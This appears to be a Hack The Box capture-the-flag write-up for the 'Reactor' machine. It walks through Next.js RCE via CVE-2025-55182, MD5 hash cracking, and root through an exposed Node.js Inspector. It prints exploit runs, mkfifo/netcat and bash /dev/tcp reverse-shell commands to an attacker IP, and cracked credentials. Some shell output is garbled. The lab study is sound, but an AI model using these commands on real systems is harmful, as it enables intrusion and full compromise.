Reactor HTB
Reactor HTB Machine Overview Reactor is a modern Linux-based Hack The Box machine focused on: Next.js exploitation React Server Components (RSC) Node.js debugging abuse credential attacks Linux privilege escalation The machine starts with a vulnerable Next.js application running on port 3000. During enumeration, the application was identified as running Next.js 15.0.3 with React Server Components enabled. By exploiting CVE-2025-55182, unauthenticated Remote Code Execution was achieved through crafted RSC payloads, resulting in an initial shell as the node user. Further enumeration of the application revealed a SQLite database containing MD5 password hashes. After cracking the hashes with John the Ripper, valid credentials were recovered and SSH access was gained as the engineer user. Privilege escalation was achieved by abusing an exposed Node.js Inspector debugger running locally as root on port 9229. By attaching to the debugger and executing arbitrary JavaScript code through the inspector protocol, full command execution as root was obtained. The machine demonstrated how: insecure debugging interfaces, unsafe server-side rendering functionality, weak password hashing, and modern JavaScript framework attack surfaces can combine into complete system compromise. Attack Summary Performed Nmap enumeration and identified a Next.js application running on port 3000. Fingerprinted the application as Next.js 15.0.3. Enumerated React Server Component functionality. Exploited CVE-2025-55182 to gain unauthenticated Remote Code Execution. Obtained a reverse shell as the node user. Enumerated application files and discovered a SQLite database. Extracted MD5 password hashes from the database. Cracked credentials using John the Ripper. Gained SSH access as the engineer user. Enumerated local services and discovered a Node.js Inspector service running as root. Forwarded the Inspector port using SSH tunneling. Attached to the debugger and achieved arbitrary command execution as root. Spawned a reverse shell as the root user. Retrieved the root flag successfully. Enumeration Initial Nmap Scan The first step was to perform a service and version scan against the target machine to identify exposed services and potential attack surfaces. bash python CVE-2025-55182.py http://10.129.5.151:3000 -c "id" ============================================================ CVE-2025-55182 RCE Exploit React Server Components Remote Code Execution ============================================================ [] Target: http://10.129.5.151:3000 [] Command: id [] Building payload... [] Sending exploit payload... ============================================================ [+] Command executed successfully! ============================================================ [+] Command Output: ------------------------------------------------------------ uid=999(node) gid=988(node) groups=988(node) ------------------------------------------------------------ ============================================================ [] Exploitation attempt completed ============================================================ bash nc -lvnp 4444 bash python CVE-2025-55182.py http://10.129.5.151:3000 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 4444 >/tmp/f" ============================================================ CVE-2025-55182 RCE Exploit React Server Components Remote Code Execution ============================================================ [] Target: http://10.129.5.151:3000 [] Command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 4444 >/tmp/f [] Building payload... [] Sending exploit payload... [!] Request timed out [+] This may indicate successful code execution! bash nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.129.5.151] 39792 /bin/sh: 0: can't access tty; job control turned off $ bash python3 -c 'import pty; pty.spawn("/bin/bash")' bash export TERM=xterm textbox node@reactor:/opt/reactor-app$ bash ls app next.config.js node_modules package.json package-lock.json reactor.db textbox reactor.db bash sqlite3 reactor.db bash .tables sensor_logs users bash SELECT * FROM users; 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb bash cat > hashes.txt bash john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) reactor1 (?) Session completed. textbox reactor1 textbox Username : engineer Password : reactor1 bash ssh engineer@10.129.5.151 engineer@10.129.5.151's password: _ _ _ _ _ _ _ | _ \| _| / \ / | / _ \| _ \ | |) | | / _ \| | | || | | | |) | | _ exec("process.mainModule.require('child_process').execSync('id').toString()") 'uid=0(root) gid=0(root) groups=0(root)\n' bash debug> exec("process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.15/5555 0>&1\"').toString()") bash nc -nvlp 5555 listening on [any] 5555 ... connect to [10.10.14.15] from (UNKNOWN) [10.129.5.151] 43056 bash: cannot set terminal process group (1395): Inappropriate ioctl for device bash: no job control in this shell root@reactor:/# bash root@reactor:# cat root.txt a105ea20babb3997* `` Final Thoughts Reactor was a very modern and realistic machine that focused heavily on contemporary JavaScript backend attack surfaces. One of the most interesting parts of the box was the exploitation of: React Server Components, Next.js internals, and Node.js debugging functionality. The initial foothold demonstrated how dangerous unsafe server-side execution paths can become in modern JavaScript frameworks. The privilege escalation stage was especially interesting because it abused an exposed Node.js Inspector debugger running as root. Since the debugger allows direct JavaScript execution inside the Node runtime, exposing it even locally can become extremely dangerous after initial access is achieved. The machine also highlighted several important security lessons: Debugging interfaces should never be enabled in production Server-side rendering frameworks increase attack surface significantly Weak password hashing algorithms like MD5 remain dangerous Internal-only services can still become exploitable after initial compromise Overall, Reactor provided excellent practice for: modern web exploitation, Next.js attack surface analysis, Node.js runtime abuse, credential attacks, and Linux privilege escalation. See you in the next writeup. Until then, keep enumerating and stay curious. by Madhav`